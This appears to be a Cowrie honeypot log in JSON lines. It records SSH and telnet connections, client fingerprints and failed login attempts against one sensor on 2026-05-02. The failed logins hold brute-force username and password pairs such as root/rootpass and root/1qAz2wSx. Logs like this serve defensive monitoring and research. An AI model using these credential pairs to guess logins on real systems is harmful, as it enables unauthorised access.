{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:34.041485Z","src_ip":"46.24.47.94","session":"b4df9ee0bbac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCD123","message":"login attempt [root/ABCD123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:34.494990Z","src_ip":"46.24.47.94","session":"b4df9ee0bbac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:35.604346Z","src_ip":"46.24.47.94","session":"b4df9ee0bbac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"93.206.25.192","src_port":49818,"dst_ip":"10.17.0.5","dst_port":23,"session":"73b0162efe1a","protocol":"telnet","message":"New connection: 93.206.25.192:49818 (10.17.0.5:23) [session: 73b0162efe1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:44.076574Z"}
{"eventid":"cowrie.session.closed","duration":14.03745698928833,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:36:58.113931Z","src_ip":"93.206.25.192","session":"73b0162efe1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.99349308013916,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:37:05.171297Z","src_ip":"20.123.41.163","session":"5bb312f41a6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":56224,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd59d5147ced","protocol":"telnet","message":"New connection: 20.123.41.163:56224 (10.17.0.5:23) [session: bd59d5147ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:37:14.219198Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":34996,"dst_ip":"10.17.0.5","dst_port":22,"session":"297bc9e06b26","protocol":"ssh","message":"New connection: 46.24.47.94:34996 (10.17.0.5:22) [session: 297bc9e06b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:37:33.182393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:37:33.187844Z","src_ip":"46.24.47.94","session":"297bc9e06b26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:37:33.297046Z","src_ip":"46.24.47.94","session":"297bc9e06b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456ab@","message":"login attempt [root/123456ab@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:37:33.760986Z","src_ip":"46.24.47.94","session":"297bc9e06b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:37:34.872515Z","src_ip":"46.24.47.94","session":"297bc9e06b26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.64.168.136","src_port":53356,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa1e42c7fa9e","protocol":"ssh","message":"New connection: 143.64.168.136:53356 (10.17.0.5:22) [session: fa1e42c7fa9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:37:40.310633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:37:41.241284Z","src_ip":"143.64.168.136","session":"fa1e42c7fa9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:37:41.245046Z","src_ip":"143.64.168.136","session":"fa1e42c7fa9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"administrador1","message":"login attempt [administrador/administrador1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:37:42.925493Z","src_ip":"143.64.168.136","session":"fa1e42c7fa9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:37:44.457243Z","src_ip":"143.64.168.136","session":"fa1e42c7fa9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.13.26.16","src_port":36228,"dst_ip":"10.17.0.5","dst_port":23,"session":"a44ae6885e7c","protocol":"telnet","message":"New connection: 95.13.26.16:36228 (10.17.0.5:23) [session: a44ae6885e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:37:46.301959Z"}
{"eventid":"cowrie.session.closed","duration":42.263957500457764,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:37:56.483026Z","src_ip":"20.123.41.163","session":"bd59d5147ced","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54444,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb8c77be2bf2","protocol":"telnet","message":"New connection: 20.123.41.163:54444 (10.17.0.5:23) [session: eb8c77be2bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:37:59.208488Z"}
{"eventid":"cowrie.session.closed","duration":13.167739629745483,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:37:59.469568Z","src_ip":"95.13.26.16","session":"a44ae6885e7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.6737823486328125,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:38:03.882125Z","src_ip":"20.123.41.163","session":"eb8c77be2bf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00501203536987,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:38:08.601559Z","src_ip":"37.52.61.49","session":"2578a54d69e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.52.61.49","src_port":53822,"dst_ip":"159.203.135.109","dst_port":23,"session":"476e55c0b027","protocol":"telnet","message":"New connection: 37.52.61.49:53822 (159.203.135.109:23) [session: 476e55c0b027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:38:08.952248Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":40338,"dst_ip":"10.17.0.5","dst_port":22,"session":"194aea4d6559","protocol":"ssh","message":"New connection: 209.99.189.177:40338 (10.17.0.5:22) [session: 194aea4d6559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:38:22.773511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:38:22.781882Z","src_ip":"209.99.189.177","session":"194aea4d6559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:38:22.914118Z","src_ip":"209.99.189.177","session":"194aea4d6559","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qweqwe","message":"login attempt [user/qweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:38:23.473918Z","src_ip":"209.99.189.177","session":"194aea4d6559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:38:24.609314Z","src_ip":"209.99.189.177","session":"194aea4d6559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.225.148.188","src_port":56728,"dst_ip":"10.17.0.5","dst_port":23,"session":"33fae6026b4f","protocol":"telnet","message":"New connection: 41.225.148.188:56728 (10.17.0.5:23) [session: 33fae6026b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:38:27.451934Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":52098,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b5dfa1d9500","protocol":"ssh","message":"New connection: 46.24.47.94:52098 (10.17.0.5:22) [session: 2b5dfa1d9500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:38:29.755120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:38:29.760119Z","src_ip":"46.24.47.94","session":"2b5dfa1d9500","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:38:29.868533Z","src_ip":"46.24.47.94","session":"2b5dfa1d9500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootpass","message":"login attempt [root/rootpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:38:30.346834Z","src_ip":"46.24.47.94","session":"2b5dfa1d9500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:38:31.458292Z","src_ip":"46.24.47.94","session":"2b5dfa1d9500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.18819522857666,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:38:40.639978Z","src_ip":"41.225.148.188","session":"33fae6026b4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":60174,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bd18378e1b8","protocol":"telnet","message":"New connection: 20.123.41.163:60174 (10.17.0.5:23) [session: 4bd18378e1b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:06.874371Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":54305,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a1c83c980fa","protocol":"ssh","message":"New connection: 103.248.120.6:54305 (10.17.0.5:22) [session: 1a1c83c980fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:10.899799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:10.904489Z","src_ip":"103.248.120.6","session":"1a1c83c980fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:11.121980Z","src_ip":"103.248.120.6","session":"1a1c83c980fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"min3craft","message":"login attempt [minecraft/min3craft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:12.023819Z","src_ip":"103.248.120.6","session":"1a1c83c980fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:13.248117Z","src_ip":"103.248.120.6","session":"1a1c83c980fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":40962,"dst_ip":"10.17.0.5","dst_port":22,"session":"777d99aff227","protocol":"ssh","message":"New connection: 46.24.47.94:40962 (10.17.0.5:22) [session: 777d99aff227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:26.837908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:26.842543Z","src_ip":"46.24.47.94","session":"777d99aff227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:26.950997Z","src_ip":"46.24.47.94","session":"777d99aff227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qAz2wSx","message":"login attempt [root/1qAz2wSx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:27.413446Z","src_ip":"46.24.47.94","session":"777d99aff227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:28.526066Z","src_ip":"46.24.47.94","session":"777d99aff227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.66940498352051,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:47.543654Z","src_ip":"20.123.41.163","session":"4bd18378e1b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":40588,"dst_ip":"10.17.0.5","dst_port":22,"session":"7abbbf38ee50","protocol":"ssh","message":"New connection: 103.106.188.32:40588 (10.17.0.5:22) [session: 7abbbf38ee50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:49.745727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:39:49.750507Z","src_ip":"103.106.188.32","session":"7abbbf38ee50","protocol":"ssh"}
